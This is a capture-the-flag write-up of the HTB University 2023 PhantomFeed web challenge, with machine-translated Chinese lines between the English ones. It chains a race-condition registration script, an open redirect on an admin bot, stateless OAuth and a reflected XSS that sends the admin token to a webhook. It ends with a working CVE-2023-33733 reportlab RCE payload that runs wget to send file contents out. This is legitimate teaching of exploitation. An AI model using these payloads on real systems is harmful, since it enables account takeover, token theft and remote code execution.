Race Condition, OAuth without state and redirection into XSS & RCE via HTML2PDF – PhantomFeed HTB University 2023

WriteUp 10个月前 admin
107 0 0

Race Condition, OAuth without state and redirection into XSS & RCE via HTML2PDF - PhantomFeed HTB University 2023

Thrilled to finish in first place with my team GCC-ENSIBS! Special shout out to ESNA and Phreaks2600 for securing the second and third places!
很高兴能和我的团队GCC-ENSIBS一起获得第一名!特别感谢 ESNA 和 Phreaks2600 获得第二名和第三名!

Phantomfeed – Web Phantomfeed – 网页版

Some black-hat affiliated students talk of an underground hacking forum they frequent, the university hacking club has decided it is worth the effort of trying to hack into this illicit platform, in order to gain access to a sizeable array of digital weaponry that could prove critical to securing the campus before the undead arrive.
一些黑帽附属学生谈论他们经常光顾的地下黑客论坛,大学黑客俱乐部已经决定尝试入侵这个非法平台是值得的,以便获得大量数字武器,这些武器可能被证明对在亡灵到来之前保护校园至关重要。

TL;DR TL;博士

Use a race condition to register an account and bypass the email verification process. Then, force the bot into the OAuth workflow with a malicious redirect_url which is reflected at the end of the OAuth worflow, this allows an XSS vulnerability to leak the token. Finish with a RCE inside the library reportlab which is used to generate PDF from HTML with the CVE-2023-33733.
使用争用条件注册帐户并绕过电子邮件验证过程。然后,强制机器人进入 OAuth 工作流,恶意 redirect_url 反映在 OAuth 工作流的末尾,这允许 XSS 漏洞泄露令牌。最后在库 reportlab 中有一个 RCE,用于从 HTML 生成 PDF CVE-2023-33733 ,带有 .

Overview 概述

There are three applications involved: the frontend serves both Flask applications. The backend application does not have a login/register feature and instead utilizes an OAuth system set up on the phantom-feed.
涉及三个应用程序:前端同时服务于 Flask 应用程序。后端应用程序没有登录/注册功能,而是使用在幻像源上设置的 OAuth 系统。

Here is an overview of all the routes of the challenge:
以下是挑战赛所有路线的概述:

  • /phantom-market-frontend is a frontend application made with NuxtJS.
    / : phantom-market-frontend 是使用 NuxtJS 制作的前端应用程序。

    • /
    • /callback /回调
    • /logout /注销
    • /orders /订单
    • /product/_id /产品/_id
  • /phantomfeedphantom-feed is a Flask application.
    /phantomfeed :phantom-feed 是一个 Flask 应用程序。

    • /phantomfeed/ /幻影饲料/
    • /phantomfeed/login /phantomfeed/登录
    • /phantomfeed/register /phantomfeed/寄存器
    • /phantomfeed/confirm /phantomfeed/确认
    • /phantomfeed/logout /phantomfeed/注销
    • /phantomfeed/feed
    • /phantomfeed/about /phantomfeed/关于
    • /phantomfeed/marketplace
      /幻影饲料/市场
    • /phantomfeed/oauth2/auth
    • /phantomfeed/oauth2/code
      /phantomfeed/oauth2/代码
    • /phantomfeed/oauth2/token
  • /backendphantom-market-backend is a Flask application.
    /backend :phantom-market-backend 是一个 Flask 应用程序。

    • /backend/ /后端/
    • /backend/products/ /后端/产品/
    • /backend/order/ /后端/订单/
    • /backend/orders /后端/订单
    • /backend/orders/html /后端/订单/html

Here is the nginx configuration:
以下是 nginx 配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
http {
    server {
        listen 1337;
        server_name pantomfeed;
        
        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /phantomfeed {
            proxy_pass http://127.0.0.1:3000;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }

        location /backend {
            proxy_pass http://127.0.0.1:4000;
        }
    }
}

Screenshot of the application (after validating a user account):
应用程序的屏幕截图(验证用户帐户后):

Race Condition, OAuth without state and redirection into XSS & RCE via HTML2PDF - PhantomFeed HTB University 2023

Getting User Account using a Race Condition
使用争用条件获取用户帐户

During user registration, the user is initially created with verified = True, but this status is subsequently changed to False as part of the email verification process.
在用户注册期间,最初使用 verified = True 创建用户,但随后在电子邮件验证过程中将 False 此状态更改为 。

Goal: Simultaneously register and log in with the same user. The user must be logged before the email verification is added.
目标:同时使用同一用户注册和登录。在添加电子邮件验证之前,必须先登录用户。

The Flask application operates in threaded mode, enabling the exploitation of the race condition.
Flask 应用程序在线程模式下运行,从而能够利用争用条件。

File: phantom-feed/run.py 文件: phantom-feed/run.py

1
2
3
# [...]
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=4000, threaded=True, debug=False)

File: phantom-feed/application/util/database.py 文件: phantom-feed/application/util/database.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
class Users(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    verification_code = Column(String)
    verified = Column(Boolean, default=True)
    username = Column(String)
    password = Column(String)
    email = Column(String)

class Database:
    # [...]

    def create_user(self, username, password, email):
        user = self.session.query(Users).filter(Users.username == username).first()
        if user:
            return False, None

        password_bytes = password.encode("utf-8")
        salt = bcrypt.gensalt()
        password_hash = bcrypt.hashpw(password_bytes, salt).decode()

        new_user = Users(username=username, password=password_hash, email=email)
        self.session.add(new_user)
        self.session.commit()

        return True, new_user.id

    def add_verification(self, user_id):
        verification_code = generate(12)
        self.session.query(Users).filter(Users.id == user_id).update(
            {"verification_code": verification_code, "verified": False})
        self.session.commit()
        return verification_code

File: phantom-feed/application/blueprints/routes.py 文件: phantom-feed/application/blueprints/routes.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@web.route("/register", methods=["GET", "POST"])
def register():
  if request.method == "GET":
    return render_template("register.html", title="register")

  if request.method == "POST":
    username = request.form.get("username")
    password = request.form.get("password")
    email = request.form.get("email")

  if not username or not password or not email:
    return render_template("error.html", title="error", error="missing parameters"), 400

  db_session = Database()
  # User is registed with verified = True
  user_valid, user_id = db_session.create_user(username, password, email)
  current_app.logger.error("%s registered!", username)

  if not user_valid:
    return render_template("error.html", title="error", error="user exists"), 401

  # ReDos on email to add delay for the race condition
  email_client = EmailClient(email)
  # Add a verification code and set verified = False
  verification_code = db_session.add_verification(user_id)
  email_client.send_email(f"http://phantomfeed.htb/phantomfeed/confirm?verification_code={verification_code}")
  current_app.logger.error("%s mail send!", username)
  return render_template("error.html", title="error", error="verification code sent"), 200

PoC: 概念验证:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import threading
import sys
import secrets
import logging
from time import sleep

import requests


BASE_URL = "http://83.136.250.104:43770"
# BASE_URL = "http://127.0.0.1:1337"
PROXIES = {
    "http": "http://127.0.0.1:8080"
}

class User:

    def __init__(self, username=None, email=None, password=None):
        self.username = username if username else secrets.token_hex(12)
        self.email = email if email else secrets.token_hex(12) + "[email protected]"
        self.password = password if password else secrets.token_hex(12)
        self.verified = False

    def register(self):
        resp = requests.post(BASE_URL + "/phantomfeed/register", proxies=PROXIES, data={
            "username": self.username,
            "email": self.email,
            "password": self.password
        })
        assert resp.status_code == 200
        logging.warning("Register with '%s:%s'.", self.username, self.password)
        logging.info("Response: %s", resp.text)

    def login(self):
        resp = requests.post(BASE_URL + "/phantomfeed/login", allow_redirects=False, proxies=PROXIES, data={
            "username": self.username,
            "password": self.password
        })
        if resp.status_code != 401:
            self.verified = True
            cookies = resp.headers.get("Set-Cookie")
            logging.warning("=========================================")
            logging.warning("Login successful with '%s:%s'.", self.username, self.password)
            logging.warning("Cookies of '%s': %s", self.username, cookies)
            logging.warning("=========================================")
            # logging.warning("Register: %s", resp.text)
        elif resp.status_code == 401:
            logging.info("Login unsuccessful with '%s:%s'.", self.username, self.password)


def thread_register(user):
    user.register()

def thread_login(user):
    user.login()

def race_user_accout():
    wait = 0.03

    while True:
        logging.warning("==== WAITING %f ====", wait)
        threads = []

        tmp_user = User()
        thread = threading.Thread(target=thread_register, args=(tmp_user,))
        threads.append(thread)
        thread.start()
        for round in range(10):
            thread = threading.Thread(target=thread_login, args=(tmp_user,))
            threads.append(thread)
            thread.start()
            sleep(wait)

        for thread in threads:
            thread.join()
        
        wait += 0.01
        if wait > 0.1:
            wait = 0.03

        if tmp_user.verified:
            break

if __name__ == "__main__":
    logging.basicConfig(level=logging.WARNING)
    race_user_accout()

The JWT obtained through the race condition can be utilized to authenticate ourselves as a regular user.
通过竞争条件获得的 JWT 可用于将我们自己验证为普通用户。

1
2
3
4
5
6
7
8
9
$ python3 race.py
WARNING:root:==== WAITING 0.030000 ====
WARNING:root:Register with '0c901639dfd3bc4d143aa9eb:afe3ded07f13e001ade7c4eb'.
WARNING:root:==== WAITING 0.040000 ====
WARNING:root:Register with 'b90bf08ef2fbafca8d5cb8cf:99a0ab887a6c2c8b7db1f938'.
WARNING:root:=========================================
WARNING:root:Login successful with 'b90bf08ef2fbafca8d5cb8cf:99a0ab887a6c2c8b7db1f938'.
WARNING:root:Cookies of 'b90bf08ef2fbafca8d5cb8cf': token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjI0ODY2MywidXNlcl9pZCI6MjcsInVzZXJuYW1lIjoiYjkwYmYwOGVmMmZiYWZjYThkNWNiOGNmIiwidXNlcl90eXBlIjoidXNlciJ9.etjpQr7kh2S9Ejn0gNbLJJrTf4AN9I9OSqgbTBhnzbXCZroza3yN38lpkK87wpY63FKDvUfUJYfrXcxpLswLGIIzQCoK9yzAoyY1J9n6tgA9eiz01Jw22lcqhFk4xINk73gwMPWdJUPrdwg5DX5CtZcCbVf8EK-a9djY2tR_3Ns7JqaUZOdJlCTo8yFCwpuBgKkeFg1ldI7BfB2ZjV4BA0At7Y5vaU0olvtzfWjN5NIrFKEP1qDH4NzToMYZAljLEITLE26KmUGOrQ8lknFo94RB3Ej_fmHmJn_u50maepoXLEqNtiDVFhCYrO6frqIN8OM9vt5hXvFdq4DGQ3WO5A; HttpOnly; Path=/; SameSite=Strict
WARNING:root:=========================================

Getting Admin account 获取管理员帐户

Open Redirect on Bot
在机器人上打开重定向

Using our user account, we can trigger the bot which is configured to run as an administrator user.
使用我们的用户帐户,我们可以触发配置为以管理员用户身份运行的机器人。

We can redirect the bot to an abritraty URL using the @ symbol. For example, entering the visit link http://127.0.0.1:[email protected] will redirect the bot to the website example.com.
我们可以使用该 @ 符号将机器人重定向到一个 abritraty URL。例如,输入访问链接 http://127.0.0.1:[email protected] 会将机器人重定向到网站 example.com 。

File: phantom-feed/application/blueprints/routes.py 文件: phantom-feed/application/blueprints/routes.py

1
2
3
4
5
6
7
@web.route("/feed", methods=["GET", "POST"])
@auth_middleware
def feed():
  # ...
  market_link = request.form.get("market_link")
  bot_runner(market_link)
  return redirect("/phantomfeed/feed")

File: phantom-feed/application/util/bot.py 文件: phantom-feed/application/util/bot.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
def bot_runner(link):
    # [...]
    client = webdriver.Chrome(options=chrome_options)

    token = create_jwt(1, "administrator")
    cookie = {
        "name": "token",
        "value": token,
        "domain": "127.0.0.1",
        "path": "/",
        "expiry": int((datetime.datetime.now() + datetime.timedelta(seconds=1800)).timestamp()),
        "secure": False,
        "httpOnly": True
    }
    client.add_cookie(cookie)

    client.get("http://127.0.0.1:5000" + link)
    # [...]

Example to redirect the bot to our webhook (which will be used later for more exploitation):
将机器人重定向到我们的 Webhook 的示例(稍后将用于更多利用):

1
2
3
4
5
POST /phantomfeed/feed HTTP/1.1
Host: 83.136.250.104:42681
Cookie: ...

content=hello&[email protected]/cbfec95c-1ddd-406a-a959-eb7001d9c50e?ping

OAuth with arbitrary redirect_url and no state
具有任意redirect_url且无状态的 OAuth

Race Condition, OAuth without state and redirection into XSS & RCE via HTML2PDF - PhantomFeed HTB University 2023

On the OAuth workflow on the application, the user must click on the Authorize button. However, you can force the user (or here the bot) to go to the second link which does not require a User Interaction and has no CSRF/state token.
在应用程序的 OAuth 工作流中,用户必须单击该 Authorize 按钮。但是,您可以强制用户(或此处为机器人)转到第二个链接,该链接不需要用户交互,也没有 CSRF/状态令牌。

  • /phantomfeed/oauth2/auth?client_id=phantom-market&redirect_url=http://example.com
    /phantomfeed/oauth2/auth?client_id=phantom-market&redirect_url=http://example.com
  • /phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=http://example.com
    /phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=http://example.com
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@web.route("/oauth2/auth", methods=["GET"])
@auth_middleware
def auth():
  client_id = request.args.get("client_id")
  redirect_url = request.args.get("redirect_url")

  if not client_id or not redirect_url:
    return render_template("error.html", title="error", error="missing parameters"), 400

  return render_template("oauth2.html",
    title="oauth2 authorization",
    client_id = client_id,
    redirect_url = redirect_url
  )

@web.route("/oauth2/code", methods=["GET"])
@auth_middleware
def oauth2():
  client_id = request.args.get("client_id")
  redirect_url = request.args.get("redirect_url")

  if not client_id or not redirect_url:
    return render_template("error.html", title="error", error="missing parameters"), 400
    
  authorization_code = generate_authorization_code(request.user_data["username"], client_id, redirect_url)
  url = f"{redirect_url}?authorization_code={authorization_code}"

  return redirect(url, code=303)

Leak Bearer token using fetch diversion (not working)
使用获取转移的泄漏持有者令牌(不起作用)

The bot utilizes an httpOnly cookie at http://127.0.0.1:5000 and a Bearer Token at http://127.0.0.1:3000, therefore, we cannot directly leak its session.
机器人使用 httpOnly cookie at 和 Bearer Token at http://127.0.0.1:3000 http://127.0.0.1:5000 ,因此,我们不能直接泄露其会话。

Initially, I didn’t discover any Cross-Site Scripting (XSS) vulnerabilities, so I turned my focus to fetch diversion in the frontend. The two endpoints that caught my attention allowed control over parts of the URL through this.$route.params.id. However, this control was insufficient to abuse the Bearer token, so I did not pursue this avenue further.
最初,我没有发现任何跨站点脚本 (XSS) 漏洞,因此我将注意力转向了在前端获取转移。引起我注意的两个端点允许通过 this.$route.params.id 控制 URL 的某些部分。但是,这种控制不足以滥用 Bearer 代币,因此我没有进一步寻求这种途径。

  • /backend/products/:ID (no UI)  /backend/products/:ID (无 UI)
  • /backend/order/:ID (click on button is required)
    /backend/order/:ID (点击按钮为必填项)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
async fetchProduct() {
    const token = this.getCookie("access_token");
    this.$axios.setHeader("Authorization", `Bearer ${token}`);
    return await this.$axios.$get(
        this.$globalValues.resourceServer + "/products/" + this.$route.params.id);
},
async orderProduct() {
    const token = this.getCookie("access_token");
    this.$axios.setHeader("Authorization", `Bearer ${token}`);
    await this.$axios.$post(
        this.$globalValues.resourceServer + "/order/" + this.$route.params.id);
    alert("Order placed");
},

XSS reflected in redirect_url
XSS 反映在 redirect_url 中

In the /oauth2/token route, the redirect_url GET parameter must correspond to the redirect_url stored in the database. Nonetheless, it is possible to assign an arbitrary value to this variable.
在路由中 /oauth2/token , redirect_url GET 参数必须与数据库中存储的 redirect_url 相对应。尽管如此,可以为此变量分配任意值。

This route delivers a response in JSON format, however the Content-Type of the response is set to text/html. So, we can inject an XSS payload inside the redirect_url and this will be executed as its reflected on the response.
此路由以 JSON 格式传递响应,但响应 Content-Type 的格式设置为 text/html 。因此,我们可以在 中注入一个 XSS 有效负载 redirect_url ,这将在响应上反映时执行。

Example: ?redirect_url=https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e%3F<script>PAYLOAD<%2Fscript> (the second ?=%3F is URL encoded)
示例: ?redirect_url=https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e%3F<script>PAYLOAD<%2Fscript> (第二个 ? = %3F 是 URL 编码)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
@web.route("/oauth2/token", methods=["GET"])
@auth_middleware
def token():
  authorization_code = request.args.get("authorization_code")
  client_id = request.args.get("client_id")
  redirect_url = request.args.get("redirect_url")

  if not authorization_code or not client_id or not redirect_url:
    return render_template("error.html", title="error", error="missing parameters"), 400

  if not verify_authorization_code(authorization_code, client_id, redirect_url):
    return render_template("error.html", title="error", error="access denied"), 401

  access_token = create_jwt(request.user_data["user_id"], request.user_data["username"])
  
  return json.dumps({ 
    "access_token": access_token,
    "token_type": "JWT",
    "expires_in": current_app.config["JWT_LIFE_SPAN"],
    "redirect_url": redirect_url
  })

So you can force the bot to initiate the OAuth workflow and exploit an XSS vulnerability to capture its access_token. This token is used as a Bearer token in the backend application.
因此,您可以强制机器人启动 OAuth 工作流,并利用 XSS 漏洞来捕获其 access_token .此令牌在 backend 应用程序中用作 Bearer token

Here is my XSS payload to leak the access_token:
这是我的 XSS 有效载荷泄漏: access_token

1
<script>window.location.href=`https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=${btoa(document.body.innerHTML)}`</script>

Full exploit script: 完整漏洞利用脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<script>
const redirect_url = 'https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e%3F%3Cscript%3Ewindow.location.href%3D%60https%3A%2F%2Fwebhook.site%2Fcbfec95c-1ddd-406a-a959-eb7001d9c50e%3Faccess_token%3D%24%7Bbtoa(document.body.innerHTML)%7D%60%3C%2Fscript%3E';

if (!window.location.href.includes("authorization_code") && !window.location.href.includes("access_token")) {
    window.location.href=`http://127.0.0.1:3000/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=${redirect_url}`;
} else if (window.location.href.includes("authorization_code") && window.location.href.includes("window")) {
    const authorization_code = window.location.href.split("authorization_code=")[1];
    window.location.href=`http://127.0.0.1:3000/phantomfeed/oauth2/token?client_id=phantom-market&authorization_code=${authorization_code}&redirect_url=${redirect_url}`;
}
</script>

Workflow in my webhook:
我的 webhook 中的工作流程:

  1. http://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?ping
  2. https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?%3Cscript%3Ewindow.location.href=`https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=${btoa(document.body.innerHTML)}`%3C/script%3E?authorization_code=Z0FBQUFBQmxkTkdDLXFxMng5d2ZaRWFLZU5BNWtpX0VpYUZPUHYtazJKaUppMzg4WDhMc2NfdjZHaG5lUUdQS1pCSWtPOHpkMjBnUEFYdzMxMWhmQjZtU1BEMEE5dFV1T0J6cU13REZNb0pnNTdNNEFsZzhSbUVGcnJtTklkUnlhNlM2YV9WWlJDZnZyMzlxRWZJb2VwMzhwRW4yVzc0cGdqdndyOHJrY0JjLVVId2F4QWdpRlUxazFmTnlrc29Od1lESy1uUjFQamFGTVlQN1lfRGMzS0FwdThZX3g0UmZCNll1VC1sbGNNbE9SS2dKNTVYMl8wcDRvWVdJcDlJMG11cGpfV0xYTk1VMTJsUm1WTjhSTVNLNzk2QUtJRzRXWkpHamVLRHZaSmhMZTQ5VWlzbUIwNFBuMldXcGVobm0xNHBmeWp1QTF0OHp4a2U0QzZsRzY4REdmNDdFaVpQQzlyOFFnY2ZwXzRnSDJpeVFJcFhaemdWMjdJcWl4NGs5eElTcy12Qi1WVEM2cTRIOURoTGFTMGd0WUJ3SlE5NWt0Zz09
  3. https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=eyJhY2Nlc3NfdG9rZW4iOiAiZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKd2FHRnVkRzl0Wm1WbFpDMWhkWFJvTFhObGNuWmxjaUlzSW1WNGNDSTZNVGN3TWpFMU5qUXlOaXdpZFhObGNsOXBaQ0k2TVN3aWRYTmxjbTVoYldVaU9pSmhaRzFwYm1semRISmhkRzl5SWl3aWRYTmxjbDkwZVhCbElqb2lZV1J0YVc1cGMzUnlZWFJ2Y2lKOS5FY2RpbUI5SHViZ2lEQkM5YzF1ZUVYaXFzejdrcGV1Z3Brb0EzYWZ1RjN1dVZPRGlYTWh6TmF2TWpGUkFNcFhTbWFxeTZDeWh6MHdhZDdSUm9tRWpxUHZqY1VZMHpmRkpMZHZRQ0FxbGRsSmtEcGF3Z2dYeVA4a1NhNDVqaXRMa3lMMkxWSkFaUm1qTkVqTHVKUWF2TXAyRmFEVjRoc1VhNFNlbUloMnpaSUFOOTEzMVZxal83V1YyUi1kQjNjUV9LQWxXVk5pMHZfNzU2ZWhubWp1QlNvMTBYZVprRTlRU1pzSVc0S2wxc09VOGFxS2hKdFB2WDBObzltODRKN1lqUnJGV2stcHRCd2R6OTJ5cDdzMlFIeFBJMWtzTkwwZDZDb2VmRVk2eDJEM2ZsMERIM1BOT0dwNWZGOHFCZ2ZYU3VoUHdyQjRDcUVwamtMeWtCUW1zU1EiLCAidG9rZW5fdHlwZSI6ICJKV1QiLCAiZXhwaXJlc19pbiI6IDE4MDAsICJyZWRpcmVjdF91cmwiOiAiaHR0cHM6Ly93ZWJob29rLnNpdGUvY2JmZWM5NWMtMWRkZC00MDZhLWE5NTktZWI3MDAxZDljNTBlPzxzY3JpcHQ+d2luZG93LmxvY2F0aW9uLmhyZWY9YGh0dHBzOi8vd2ViaG9vay5zaXRlL2NiZmVjOTVjLTFkZGQtNDA2YS1hOTU5LWViNzAwMWQ5YzUwZT9hY2Nlc3NfdG9rZW49JHtidG9hKGRvY3VtZW50LmJvZHkuaW5uZXJIVE1MKX1gPC9zY3JpcHQ+

If we base64 decode the document.body.innerHTML, we obtain the access_token:
如果我们对 base64 解码 document.body.innerHTML ,我们得到: access_token

1
2
3
4
5
6
{
  "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjE1NjQyNiwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl90eXBlIjoiYWRtaW5pc3RyYXRvciJ9.EcdimB9HubgiDBC9c1ueEXiqsz7kpeugpkoA3afuF3uuVODiXMhzNavMjFRAMpXSmaqy6Cyhz0wad7RRomEjqPvjcUY0zfFJLdvQCAqldlJkDpawggXyP8kSa45jitLkyL2LVJAZRmjNEjLuJQavMp2FaDV4hsUa4SemIh2zZIAN9131Vqj_7WV2R-dB3cQ_KAlWVNi0v_756ehnmjuBSo10XeZkE9QSZsIW4Kl1sOU8aqKhJtPvX0No9m84J7YjRrFWk-ptBwdz92yp7s2QHxPI1ksNL0d6CoefEY6x2D3fl0DH3PNOGp5fF8qBgfXSuhPwrB4CqEpjkLykBQmsSQ",
  "token_type": "JWT",
  "expires_in": 1800,
  "redirect_url": "https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?<script>window.location.href=`https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?access_token=${btoa(document.body.innerHTML)}`</script>"
}

RCE via HTML2PDF 通过HTML2PDF的 RCE

The administrator can generate PDF from HTML in the /orders/html route.
管理员可以从 /orders/html 路由中的 HTML 生成 PDF。

File: phantom-market-backend/application/util/document.py 文件: phantom-market-backend/application/util/document.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from reportlab.platypus import SimpleDocTemplate, Paragraph, Table, TableStyle
from reportlab.lib.pagesizes import letter
from reportlab.lib import colors
from io import BytesIO

class HTML2PDF():
    def __init__(self):
        self.stream_file = BytesIO()
        self.content = []

    # [...]

    def add_paragraph(self, text):
        self.content.append(Paragraph(text))

    def convert(self, html, data):
        doc = self.get_document_template(self.stream_file)
        self.add_paragraph(html)
        self.add_table(data)
        self.build_document(doc, self.content)
        return self.stream_file

File: phantom-market-backend/application/templates/orders.html 文件: phantom-market-backend/application/templates/orders.html

1
2
3
4
5
<para>
    <font color="{{ color }}">
        Orders:
    </font>
</para>

File: phantom-market-backend/application/blueprints/routes.py 文件: phantom-market-backend/application/blueprints/routes.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
@web.route("/orders/html", methods = ["POST"])
@admin_middleware
def orders_html():
  color = request.form.get("color")
  db_session = Database()
  orders = db_session.get_all_orders()
  # [...]
  orders_template = render_template("orders.html", color=color)
  
  html2pdf = HTML2PDF()
  pdf = html2pdf.convert(orders_template, orders)

  pdf.seek(0)
  return send_file(pdf, as_attachment=True, download_name="orders.pdf", mimetype="application/pdf")

In the requirements.txt file, the version of reportlab==3.6.12.
在 requirements.txt 文件中,. reportlab==3.6.12

Upon searching online, I came across CVE-2023-33733, which is a vulnerability in the reportlab PDF to HTML converter in versions earlier than 3.6.13:
在网上搜索时,我遇到了 CVE-2023-33733,这是 3.6.13 之前版本的 reportlab PDF 到 HTML 转换器中的一个漏洞:

Exploiting this Remote Code Execution (RCE) vulnerability, we can execute the command wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*) to leak the flag (curl was not available).
利用此远程代码执行 (RCE) 漏洞,我们可以执行命令 wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*) 来泄露标志( curl 不可用)。

1
2
3
4
5
6
7
POST /backend/orders/html HTTP/1.1
Host: 83.136.250.104:42681
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjE1NjQyNiwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl90eXBlIjoiYWRtaW5pc3RyYXRvciJ9.EcdimB9HubgiDBC9c1ueEXiqsz7kpeugpkoA3afuF3uuVODiXMhzNavMjFRAMpXSmaqy6Cyhz0wad7RRomEjqPvjcUY0zfFJLdvQCAqldlJkDpawggXyP8kSa45jitLkyL2LVJAZRmjNEjLuJQavMp2FaDV4hsUa4SemIh2zZIAN9131Vqj_7WV2R-dB3cQ_KAlWVNi0v_756ehnmjuBSo10XeZkE9QSZsIW4Kl1sOU8aqKhJtPvX0No9m84J7YjRrFWk-ptBwdz92yp7s2QHxPI1ksNL0d6CoefEY6x2D3fl0DH3PNOGp5fF8qBgfXSuhPwrB4CqEpjkLykBQmsSQ
Content-Type: application/x-www-form-urlencoded
Content-Length: 507

color=[[[getattr(pow, Word('__globals__'))['os'].system('wget https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?$(cat /flag*)') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'

And we receive a hit on https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?HTB{r4c3_2_rc3_04uth2_j4ck3d!}.
我们收到了. https://webhook.site/cbfec95c-1ddd-406a-a959-eb7001d9c50e?HTB{r4c3_2_rc3_04uth2_j4ck3d!}

Flag: HTB{r4c3_2_rc3_04uth2_j4ck3d!}
旗帜: HTB{r4c3_2_rc3_04uth2_j4ck3d!}

原文始发于xanhacks’ infosecRace Condition, OAuth without state and redirection into XSS & RCE via HTML2PDF – PhantomFeed HTB University 2023

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...